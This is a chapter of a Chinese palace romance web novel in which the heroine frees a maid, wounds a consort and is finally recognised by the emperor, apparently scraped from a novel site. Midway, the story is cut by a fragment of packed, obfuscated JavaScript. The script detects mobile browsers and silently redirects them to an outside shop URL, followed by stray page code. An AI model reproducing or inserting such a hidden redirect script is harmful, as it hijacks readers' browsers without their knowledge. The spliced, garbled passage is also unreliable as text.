站在一旁的苏风逸正死死地盯着夏星辰,显然他还是对今日她给他下药的事情耿耿于怀。而夏星辰完全没注意到前者对她的不满,她只是紧紧地抱着自己的“财宝箱”。 “去给朕查,把信件上尧显写的这些地方统统暗查清楚。若是有端倪,勿打草惊蛇!” 百里走上前接过林贤递过来的信件,朝着尧让应声:“是!” “苏风逸,林贤,你们两个出去!” 殿门被关上之后,夏星辰不知为何突然紧张了起来。和以前一样,她仍然是猜不透尧让在想些什么,同处一个空间里,她也完全看不透他要做什么。 “你也别紧紧地抱着你那破箱子了。放心吧,朕对它没兴趣,更没兴趣在意它从何处来。” “没事,它不重。”说着,她又加重了一丝力道:“我抱着它会让我有安全感。” “那随你。”尧让从龙椅上走了下来,直至走到她身前停下脚步:“整个御书房就只剩下朕和你。朕再给你一次说实话的机会,说清楚你的目的。” “目的?我......我能有什么目的?” “你叫什么名字?” “夏星辰。”她说完后便认真地看着他,试图从他的脸上找出些许不一样的反应:“陛下,您对这名字有印象吗?” “朕应该有印象吗?”尧让饶有兴趣地问道:“还是说,朕和你认识?” 夏星辰的脸上闪过一丝失落:“若我说我们认识,你相信吗?” 尧让冷笑道:“朕若说相信,你会信吗?” “好吧!”夏星辰妥协了,她的确是不能要求尧让第一时间就想起与她的过往。毕竟,过去与他朝夕相处的是那个长着苏清夕模样的夏星辰,而不是眼下这般模样的夏星辰。 “你是不是想杀了苏清夕?” 他突如其来的话彻底将夏星辰的心事揭穿,这难免不让她慌了一下:“什么?” 似乎是早就知道了答案,尧让笑出了声:“知道朕为什么留你性命吗?” 夏星辰乖巧地摇了摇头:“不知道。” “因为你看起来,的确不像是会擅长撒谎的;另外一个原因是,眼下你还有利用价值。”尧让忽的俯下身看着她的双眼:“但你要听好朕说的话。你可以借朕的刀去杀你想杀的人,但记得别给朕留下什么麻烦,例如尾巴没处理干净。能听懂朕的意思吗?” “懂!” “既如此甚好。” 夏星辰一向不喜欢猜测他的心思,便一根筋问道:“陛下,您不问我为何要杀了苏清夕?” “对朕毫无弊端的人或事,朕都不会多问。”尧让站直身子,脸上露出一副倦态的神情:“出去吧!” “我去哪里啊?”夏星辰委屈巴巴地低声说道:“我没地方住。” “林贤。” 听到尧让的呼唤,林贤立刻推开门走了过来:“陛下!” “给她找个地方住下来。”尧让想了想:“就......带她去极咸宫附近的那处院子里。” “是,陛下。” 随后,林贤带着夏星辰来到了极咸宫附近的一处小院子,而这小院子只有一间看起来很旧的房间。 “今日起,你就住在这里吧,记住了,千万别在宫里到处乱跑。”林贤看着她叮嘱道。 “没问题。” 林贤离去后,夏星辰就开始了打扫自己的院子和房间。简单地打扫了一下后,她便坐在自己房间里简陋的椅子上,目光扫了扫这间狭小的屋子。 这屋里只有一张硬板床、一盏昏黄的油灯,外加一套磨损严重的桌椅。巨大的落差让她心里泛起一丝酸涩,但她很快摇了摇头安慰自己:“算了,只要没有日晒雨淋,不饿肚子就行,总比无处可去好吧。” 这几日,夏星辰一直秘密地盯着莹粹宫,时刻观察着苏清夕的动向。直到这一日她看到了小莲跪在宫道处,而苏清夕正威风凛凛地坐在椅子上,手里还拿着一条鞭子。 见此情形的夏星辰再也按捺不住了,以前她答应过小莲,总有一日要送她出宫回老家嫁人。她不敢耽搁太久,戴上面纱后便就往宫道处跑去,一刻也不敢停下来。 夏星辰赶到的时候,却看到太监手上的板子欲要落在小莲身上。她攥着石头,狠狠地朝着太监的手腕砸去。果然,百里以前教她的箭术再次派上了用场。 下一刻,她的身影就已经出现在两名太监身前,紧接着便轻松将他们一一击倒。 “没事吧?”夏星辰将小莲扶了起来:“我带你走。” “站住!” 苏清夕朝着她们走来,她用那双高傲的双眼审视着夏星辰,随即讥笑道:“本宫还以为是谁有这个胆子管本宫的事情呢?原来是......近日频繁在陛下寝宫里打扫的婢女啊。下等人就是下等人,自以为得到了圣恩,便能在这后宫为所欲为。” “明妃娘娘倒是上等人,可那又如何呢?没有得到过圣恩,你又能在这后宫为所欲为多久?”论怼人这项技术,夏星辰早就手到擒来了。 “你这贱人竟敢耻笑本宫!” 看着她一副吃瘪的样子,夏星辰趁势说着更为刺激她的话:“别看我现在只是一个下等人,未来的事情谁又说得准呢?我在极咸宫待了好几日了,万一哪一日陛下开心,允许我与陛下同床共枕......”说着,她便笑出了声:“到那时,明妃娘娘您该如何呢?” “那本宫就让你再也没这个机会。”苏清夕看了一眼身旁的几个太监,吩咐道:“给本宫将这贱婢拿下!” 想到前几次自己用各种能想到的方法对付苏清夕都没能奏效,她估计眼下的结果也会与之前一样。 既然不能直接杀死,那便以最直接的方式让她失去反抗力。说做便做,夏星辰在几名太监上前将自己拿下之前,她已经先一步拔下头上的发簪,轻扣机关,随后将变成匕首的发簪抵着苏清夕的颈项。 “别动!”夏星辰站在她身后,轻声说道:“这个时辰可没有御林军在周遭巡查,简单来说,能保护你的就只有眼前这几名武艺平庸的太监。你说,是我的刀快,还是他们手中的板子快?” “你这贱婢究竟要干什么?”能听得出来,苏清夕的语气已经是慌张得不行了。 “苏清夕,我虽然杀不了你,但总有办法让你痛苦。”话音刚落,夏星辰便持着匕首眼疾手快地划过了她的颈项,随着鲜血喷出后,苏清夕也彻底晕死了过去。 在所有人用错愕的目光看向她时,她已经带着小莲往宫门口走去。 “为......为什么要帮我?”小莲看着夏星辰,声音虚弱地问道。 “可能我们上一世认识,然后我答应过送你出宫,回老家找个如意郎君。”话刚说完,夏星辰就将一袋银子塞在小莲手里,笑了笑道:“小莲,一直欠你一声谢谢。作为回报,我也只能送你到这了。” 虽然小莲对她的话仍是不解,但能感受到她散发出来的善意,于是问道:“姑娘,你叫什么名字?” “夏星辰。” 小莲朝着夏星辰深深鞠了一躬:“谢谢你,星辰姑娘。” 夏星辰拉起她的手往宫门口走去,随即便从腰间掏出了一块令牌递给御林军。门口的御林军接过令牌,看清令牌模样之后,“噗通”一声跪下:“见过皇后娘娘!” “皇后娘娘?”夏星辰和小莲震惊地齐声喊出。 “属下有眼不识泰山,望皇后娘娘恕罪!”御林军始终不敢站起身。 此时夏星辰根本没心思去细想这令牌究竟代表的是多尊贵的身份,在她看来,只要能顺利将小莲送出宫去就行。 “小莲,你赶紧离开吧,这袋银子足够你回老家生活了。”夏星辰忽的抱住了她,哽咽的说道:“希望你幸福。” “星辰姑娘你也会幸福的!”小莲一步步走出了皇宫,走到一半,她回过身,开心地朝着夏星辰挥着手:“谢谢你!” “我也谢谢你!”夏星辰挥着手说道。 看着小莲的背影彻底走远之后,夏星辰从御林军手中拿回那块令牌,上面除了一只凤凰之外,并没有别的装饰物,她实在看不出来这竟然是皇后的令牌。 说到这块令牌的来处,还是她有一日趁着尧让在软榻上歇息时,顺手拿走了他腰间上的令牌。想着后面送小莲出宫的时候用,毕竟,没有皇帝的贴身信物,下人们怎么可能出得了宫? “完蛋了!”夏星辰忽然想起这令牌在自己手中已经好几日了,再不抓紧还回去,就真的死定了。于是,她拿着令牌,拼了命地往极咸宫跑去。 她刚气喘吁吁地跑到极咸宫外,林贤像是提前知道她会来一样,上前一步说道:“姑娘,陛下让你进去。” 夏星辰点点头,将令牌藏在腰间里后便怀着忐忑的心情走进了极咸宫。 “民女见过陛下!” “你的事情都解决完了?” “陛下您这是什......什么意思啊?” 尧让走到她身前,平静道:“装傻可就不好玩了!朕记得朕同你说过,你借朕的刀杀人时,别留下什么尾巴。那你现在好好同朕解释一下,你尾巴收拾干净了吗?” 夏星辰顿时想起来她光顾着处理小莲的事情,忘记处理苏清夕了。一想到自己做事情没处理干净,便低下了头没再敢直视尧让的眼睛:“对不起,我忘了。” “一句忘了就要让朕当作什么都没发生吗?”他冷漠地看向她:“除此之外,你还有别的事情要同朕解释的吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16932859|187087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “令牌是我拿的,因为出宫需要令牌,所以我就顺手拿走了。”夏星辰边说着便将令牌双手归还。 尧让拿过玉佩,冷声开口:“顺手拿走了?你还是第一个敢从朕这里顺走东西的,且理由竟然是因为要送一个宫女出宫?” “对不起,陛下!是我错了。” “朕不在意你私自放走了那名宫女,也不在意你对苏清夕动手。但朕说了,别给朕留下麻烦!很显然,你没把朕的话放在心里。”看着夏星辰仍旧低着头,他忽的问道:“朕很好奇,你为何不杀了苏清夕?” 夏星辰低声应道:“因为......我根本杀不掉她!”她说的是实话,帝王留下的那本古籍上记载着得很清楚——‘帝后合力除奸佞’。 换而言之,若要除掉本就存在真实历史中的人,只有帝后!夏星辰不是这个朝代的人,她只剩下最后这一次机会了,没有十足的把握之前,她根本不敢再草率对苏清夕动手,毕竟她的确是没有犯错的机会了。 “何意?” “我只是一个平民百姓,怎敢戕害嫔妃。” 此话一出,尧让冷笑道:“可朕分明从你的眼神中看到你对她的恨意,这份恨意足够支撑你杀了她。但你却手下留情了,你这行为很令朕困惑啊。” 夏星辰继续诡辩着:“我不知道陛下说的究竟是何意。” 尧让没再继续向她解释,而是对着外面喊道:“林贤。” 林贤推开门走了进来:“陛下!” “将她禁足在那院子里,没有朕的允许,一步也不得踏出来。” “是!” 在夏星辰走到殿门口时,尧让的声音再次响起:“夏星辰,斩草要除根这件事你没做好,势必会给自己带来麻烦。若你仍旧听不懂朕的意思,那很快你自己就会知晓。” 她疑惑地回过头看着悠闲喝着茶的尧让。后者迎上她的视线,语气淡然道:“眼下,且看你的本事了!” 就这样,云里雾里的夏星辰就被尧让“囚禁”在了这破院子里。为了证明这处罚并非是玩笑,尧让还特意让一名御林军守在院子门口,别说人放不出去,连只蚊子恐怕也飞不进来。 她就这样睡了整整一天,直到肚子发出抗议的声音,她才走出院子。 “御林军,我饿了,你能不能给我拿点吃的。”夏星辰刚走到院子门口,等待她的并不是御林军的回应,而是倒地的御林军。 正顿感不妙的时候,一支箭矢从她的身后直直地射来。夏星辰利落地侧过身,看着箭矢紧紧地插进墙里,她便弯下腰拿起了御林军别在腰间上的长剑,小心提防着暗处的敌人。 一瞬间的事情,夏星辰面前不远处已经站了四名个个手持长剑的黑衣人,以及半蹲在高墙上的弓箭手。 夏星辰这时才彻底懂得了尧让对她说的那番话的意思。所以,在她对苏清夕动手的那一刻,尧显肯定会顺藤摸瓜查到她这里。无论是为了他还是苏清夕,夏星辰的存在已经影响到他的计划了。 “还真是看得起我啊!为了杀我,竟派出五个人。”以尧显的性格来讲,不能为他所用的人,一定会除掉。 下一刻,四名黑衣人持着长剑朝她刺去,皆被她灵活躲开。夏星辰发现尧显派来的这五个人武功并非很厉害,但让她感觉到分身乏术的就是那位高墙上的弓箭手,一不留心就会被他暗算。当她每一次想跃身上去先解决弓箭手时,可每一次都被这四名黑衣人阻止。 她正想着有无其他的办法先解决掉弓箭手时,一柄长剑却突然贯穿了弓箭手的脑袋。紧接着,夏星辰便看到了下手的人,正是身披黑袍的尧让。此时的他正出现在弓箭手身后,一手握住剑柄,果断利落地将长剑从弓箭手的脑袋中拔了出来。 这一套动作没有丝毫拖泥带水!见状,夏星辰的脑海中只浮现过一个想法:尧让还是当时她所认识的那个狠人。 当尧让从高墙上跃下时,夏星辰已经利落地解决掉那四名黑衣人了。 “这手段......不愧是朕教出来的人!” “那自然......”夏星辰突然意识到了什么,震惊地看着他:“你......你方才说什么?” “怎么?不愿意承认这是朕教的?”尧让俯下身看着她,笑道:“小满,你这算不算过河拆桥啊?” 话音刚落,夏星辰便猛地搂住了尧让的腰,直接将整张脸埋在他的胸膛里,哭声从微弱变成了大声。 “你知不知道我很害怕,这是最后一次机会了,若是到最后了你还是没认出我,我就会彻底消失了,你的历史也会被改变。”夏星辰一鼓作气地将心里的恐惧宣泄了出来:“我又不是什么很聪明的人,我也怕失败,怕输。” 尧让轻轻拍了拍她的后背,温声地说道:“朕知道,你是不会让朕输的!这也是你答应朕的。”